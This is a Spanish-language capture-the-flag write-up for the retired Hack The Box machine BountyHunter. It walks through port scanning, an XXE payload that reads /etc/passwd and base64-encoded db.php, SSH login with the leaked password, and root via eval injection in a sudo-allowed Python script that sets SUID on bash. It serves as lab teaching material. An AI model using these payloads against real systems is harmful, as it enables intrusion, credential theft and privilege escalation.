Write up | BountyHunter - Maquina Retirada

Write up | BountyHunter - Maquina Retirada

Table of contents

Para comenzar debemos de activar nuestra VPN de HTB, una vez tenemos esto activo, le lanzaremos un ping a la maquina para validar que esta se encuentra activar. Por su TTL ya podemos intuir que es una maquina LINUX

ttl=63

Haremos uso de nuestra herramienta de confianza para hacer escaneos de puertos nmap, el escaneo se hace inicialmente por TCP ya que nmap tiene este protocolo por defecto, pero si necesitamos hacer escaneos por UDP simplemente usamos la flag
-sU. Pero en este caso solo hicimos un reconocimiento directamente por TCP evidenciamos el puerto 80 y 22 abierto.

sudo nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n 10.129.95.166  -oG allports

Realizamos un escaneo a las puertos que tiene arriba el host con la flag -sCV

sudo nmap -sCV -p22,80 10.129.95.166 -oN targets


-sCV: Estas opciones son parámetros que configuran el modo de escaneo:
   -s: Indica el tipo de escaneo. En este caso, se utiliza -sC, que activa la ejecución de scripts de secuencia de comandos (scripts de Nmap).
   -V: Activa la detección de la versión del servicio en los puertos abiertos.

-p22,80: Especifica los puertos a escanear. En este caso, se están escaneando los puertos 22 (SSH) y 80 (HTTP).

10.129.95.166: Es la dirección IP del objetivo que se va a escanear.

-oN targets: Indica que los resultados del escaneo se deben guardar en un archivo llamado "targets". El formato del archivo será el predeterminado (Nmap).

Como podemos evidenciar contamos con el servicio web y el whatweb nos reporta información por consola sobre lo que tiene este host.

whatweb 10.129.95.166

Ingresamos a la web para realizar reconocimiento.

Al igual que con whatweb hago un análisis de las tecnologías que tiene corriendo por detras la pagina, en este caso podemos ver la misma información que vimos por consola.

Cuando ingresamos a la web vemos un apartado llamado contact, al intentar capturar la petición con Burpsuite este no hace nada.

También podemos validar en la web que hay un apartado llamado portal, y cuando le damos click este nos lleva a /portal.php

Damos click en here

Ingresamos test en las entradas de usuario y le damos Submit, pero antes debemos de tener Brupsuite arriba para hacer la captura de este. Cuando hacemos la captura podemos ver una información que parece codeada, al parecer tiene un urlencode pero para ello podemos ir al decoder del Burpsuite y quitarle el urlencode y luego queda una cadena en base64. Esta cadena tiene contenido en xml.

Para explotar esta información podemos ir al siguiente link de Portswigger:

https://portswigger.net/web-security/xxe

Podemos encontrar una forma de abusar de esto, debemos de cargarle un wrappers podemos ver que esta declarando una entidad llamada xxe y esta apuntando al /etc/passwd

Debemos de ingresar este wrappers tal cual nos indica y en uno de los test que vemos como test debemos de ingresar &xxe; para llamar la variable que hemos declarado. Debemos de pasarlo a base64 y luego lo pegamos en el header data= y debemos de hacerle un urlencode entonces podemos seleccionar el payload de base64 y ingresar crtl + u y este se nos pondrá urlencodeado

Cuando lo cargamos en data= podemos evidenciar en el response el /etc/passwd de la maquina que estamos atacando.

Podemos ver que hay dos usuarios validos a nivel de sistema que es root y development.

ya que tenemos lectura de archivos a nivel de sistema procedemos a hacer uso de dirsearch para buscar directorios, en este caso la herramienta ya viene cargada con algunas extensiones por ende nos buscara por archivos .php.

 dirsearch -u http://10.129.95.166/

En el escaneo podemos ver /db.php.

Al capturarlo en Burpsuite podemos evidenciar que no tenemos mucha información al respecto, pero el archivo db.php nos suena que tiene datos importantes como contraseñas.

Para evidenciar lo que esta almacenado en este archivo php debemos hacer uso de otro wrapper.

Base64 Encode wrappers en
php://filter/read=convert.base64-encode/resource=index.php

Así nos quedaría el payload en cuestión para validar la data que se encuentra en dicho archivo.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>test</cwe>
        <cvss>test</cvss>
        <reward>test</reward>
        </bugreport>

Debemos de hacer el mismo ejercicio que hicimos con el payload anterior.

Una vez hacemos el mismo ejercicio, tenemos una respuesta y es una cadena en base 64, lo cual nos resulta sencillo saber a que hace referencia en nuestro equipo local.

Podemos evidenciar que se trata de credenciales, pero en este caso como ya tenemos dos usuarios, vamos a probar por el puerto 22 que se encuentra abierto (SSH).

echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=' | base64 -d 
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
ssh development@10.129.95.166                   
The authenticity of host '10.129.95.166 (10.129.95.166)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.95.166' (ED25519) to the list of known hosts.
development@10.129.95.166's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 04 Feb 2024 04:14:14 AM UTC

  System load:           0.0
  Usage of /:            23.7% of 6.83GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             217
  Users logged in:       0
  IPv4 address for eth0: 10.129.95.166
  IPv6 address for eth0: dead:beef::250:56ff:fe96:b246


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ whoami
development

Tenemos conexión con el usuario development y capturamos la primera flag de la maquina.

development@bountyhunter:~$ cat user.txt 
37be511675c3d94e76cf1f411b0a8561

Escalada de Privilegios.

Para este punto hacemos uso de sudo -l para validar los sudoers validados.

Vemos que podemos ejecutar como root un archivo llamado ticketValidator.py sin necesidad de proporcionar credenciales.

sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Ahora bien pasamos a ejecutar el programa para validar su funcionamiento.

El código del programa de tickets es el siguiente:

Realizaremos una revisión del código del script de Python para detectar cualquier vulnerabilidades. Notamos una función de evaluación en él.

validationNumber = eval(x.replace("**", ""))

También examinamos el código del ticket para descubrir cómo lo calcula el script.

if int(ticketCode) % 7 == 4:

Este código verifica que el número del billete es divisible por siete y contiene cuatro restos.

if validationNumber > 100:

Además, esta es una verificación complementaria, y simplemente implica que el número que uno elija también debe ser más que el valor de 100. Es posible crear un ticket y ejecutarlo, pero dado que este archivo lo ejecuta root, podemos verificar en sudoers si es posible descubrir una forma de ejecutarlo.

debemos de crear el /tmp un archivo con nombre x pero este debe de contener la extensión .md, en nuestro caso es f.md .

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('id')**
##Issued: 2021/04/06
#End Ticket

Como evidenciamos tenemos ejecución como root ahora bien, debemos de generar una shell para capturar la flag.

Para esto le daremos permisos SUID a la bash para que otros usuarios, osea nosotros podamos ejecutar una bash con privilegios altos.

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('chmod u+s /bin/bash')**
##Issued: 2021/04/06
#End Ticket

Ejecutamos y evidenciamos en los permisos de la bash que efectivamente contamos con los permisos SUID

Ahora solo debemos de ingresarle bash -p para indicar que queremos ejecutar privilegiada.

development@bountyhunter:/tmp$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root/
bash-5.0# cat root.txt 
a94197718e5bf7dd3efa3ee1d8a85792

P̸̮̙̤͉͉͊ͅW̶̡̯͚̺̝͈̣̼̬̹̒͒͒̔̐͆̍̀͘Ṋ̵̛̘̃͛͑̑̂͝Ê̷͍͉̝̜̣̳͑̽̓͛̉͒̾͝D̶̡̰̣̻̐̎͋͐̍͗